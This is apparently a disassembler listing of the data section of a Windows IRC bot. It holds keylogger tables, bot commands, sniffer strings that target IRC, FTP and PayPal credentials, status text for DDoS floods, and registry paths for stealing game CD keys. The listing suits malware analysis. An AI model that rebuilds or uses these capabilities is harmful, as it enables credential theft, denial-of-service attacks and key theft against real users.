		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dword_43523C	dd 0BFh, 2Fh, 2E000000h, 3Fh, 0	; DATA XREF: ___:off_435DD4o
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_4354E4	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo
		align 4
asc_435514:				; DATA XREF: ___:00411C3Fo
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0
		align 10h
		dd offset off_435DD8
		dd offset off_435DD4
		dd offset off_435DD0
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:0043556Co
		align 10h
off_435DD0	dd offset word_505446	; DATA XREF: ___:00435568o
off_435DD4	dd offset dword_43523C+0Dh ; DATA XREF:	___:00435564o
off_435DD8	dd offset word_544F42	; DATA XREF: ___:00435560o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 10h
aHashin		db ':!hashin',0         ; DATA XREF: sub_412360+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412360+EEo
		align 4
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412360+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412360+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412360+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_412360+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_412360+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412360+84o
a366		db '366 ',0             ; DATA XREF: sub_412360+73o
		align 10h
a302_0		db '302 ',0             ; DATA XREF: sub_412360:loc_4123C2o
		align 4
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412360+4Do
		align 10h
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412360+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412360+2Bo
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412360+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412477+51o
		align 4
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412477:loc_4124B7o
					; sub_4124ED+2Bo
		align 10h
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412477+2Bo
		align 4
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412477+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_4124ED+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4124ED+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4124ED:loc_41253Eo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4124ED+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4124ED+5o
		align 10h
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412574+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412574+62o
		align 4
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412574+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412574:loc_4125B4o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412574+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412574+5o
		align 10h
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4125FB+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4125FB+2Bo
		align 10h
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4125FB+5o
		align 4
unk_43604C	db  2Dh	; -		; DATA XREF: sub_412660+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_436084	db  2Dh	; -		; DATA XREF: sub_412660+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4360BC	db  2Dh	; -		; DATA XREF: sub_412660+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4360F0	db  2Dh	; -		; DATA XREF: sub_412660+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436124	db  2Dh	; -		; DATA XREF: sub_412660+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436158	db  2Dh	; -		; DATA XREF: sub_412660+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
unk_436188	db  2Dh	; -		; DATA XREF: sub_412660+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_4361DC	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_412B08+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_436404	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_41386B+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_4367F4	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415134+35o
dword_436808	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415134+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o
		align 10h
dword_436840	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41524C:loc_415281o
dword_436854	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41524C+20o
dword_436868	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415369o
		dd 6574656Ch, 0
dword_436884	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:004152CCo
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4153BC+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4155F7+23o
					; sub_4157F0+26o
		align 10h
		dd 80000001h
off_4368B4	dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr
					; sub_415A2F+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_4368C0	dd 2 dup(0)		; DATA XREF: sub_415A2F+26o
		dd 80000001h, 437A44h, 437A38h,	437A28h, 2 dup(0)
		dd 80000001h, 437A08h, 437A04h,	4379F0h, 2 dup(0)
		dd 80000001h, 4379CCh, 437A04h,	4379C0h, 2 dup(0)
		dd 80000001h, 43799Ch, 437994h,	437980h, 2 dup(0)
		dd 80000001h, 43796Ch, 43795Ch,	437940h, 2 dup(0)
		dd 80000001h, 4378FCh, 437A84h,	4378E8h, 2 dup(0)
		dd 80000002h, 4378BCh, 4378B0h,	437890h, 2 dup(0)
		dd 80000002h, 43785Ch, 437A84h,	437844h, 2 dup(0)
		dd 80000002h, 437810h, 437A84h,	4377F8h, 2 dup(0)
		dd 80000002h, 4377E0h, 437A84h,	4377C8h, 2 dup(0)
		dd 80000002h, 43778Ch, 43D7D8h,	43777Ch, 2 dup(0)
		dd 80000002h, 437744h, 43D7D8h,	437730h, 2 dup(0)
		dd 80000002h, 4376E4h, 43D7D8h,	4376C4h, 2 dup(0)
		dd 80000002h, 437674h, 43D7D8h,	437648h, 2 dup(0)
		dd 80000002h, 43760Ch, 43D7D8h,	4375F8h, 2 dup(0)
		dd 80000002h, 4375C0h, 43D7D8h,	4375B0h, 2 dup(0)
		dd 80000002h, 437560h, 43D7D8h,	437534h, 2 dup(0)
		dd 80000002h, 4374F4h, 43D7D8h,	4374D8h, 2 dup(0)
		dd 80000002h, 4374A8h, 43D7D8h,	437488h, 2 dup(0)
		dd 80000002h, 43744Ch, 43D7D8h,	437438h, 2 dup(0)
		dd 80000002h, 4373F0h, 43D7D8h,	4373D0h, 2 dup(0)
		dd 80000002h, 43737Ch, 43D7D8h,	43734Ch, 2 dup(0)
		dd 80000002h, 4372FCh, 43D7D8h,	4372D0h, 2 dup(0)
		dd 80000002h, 437290h, 437288h,	437268h, 2 dup(0)
		dd 80000002h, 437224h, 43D7D8h,	437208h, 2 dup(0)
		dd 80000002h, 4371BCh, 43D7D8h,	437198h, 2 dup(0)
		dd 80000002h, 437164h, 43D7D8h,	437158h, 2 dup(0)
		dd 80000002h, 437124h, 43D7D8h,	437118h, 2 dup(0)
		dd 80000002h, 4370E4h, 43D7D8h,	4370D8h, 2 dup(0)
		dd 80000002h, 4370A4h, 43D7D8h,	437098h, 2 dup(0)
		dd 80000002h, 43705Ch, 43D7D8h,	437048h, 2 dup(0)
		dd 80000002h, 43700Ch, 43D7D8h,	436FF8h, 2 dup(0)
		dd 80000002h, 436FC8h, 437A84h,	436FACh, 2 dup(0)
		dd 80000002h, 436F8Ch, 436F84h,	436F60h, 2 dup(0)
		dd 80000002h, 436F44h, 436F84h,	436F24h, 2 dup(0)
		dd 80000002h, 436F04h, 436F84h,	436EE0h, 2 dup(0)
		dd 80000002h, 436EC8h, 436F84h,	436EC4h, 2 dup(0)
		dd 80000002h, 436EA8h, 436E98h,	436E90h, 2 dup(0)
		dd 80000002h, 436E5Ch, 42C8DCh,	436E44h, 2 dup(0)
		dd 80000002h, 436E08h, 436DFCh,	436DD4h, 436DC4h, 436DB0h
		dd 80000002h, 436D8Ch, 436D80h,	436D6Ch, 436D5Ch, 436D54h
		dd 80000002h, 436D8Ch, 436D80h,	436D28h, 436D5Ch, 436D20h
		dd 80000002h, 436D8Ch, 436D80h,	436CF0h, 436D5Ch, 436CE8h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 10h
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
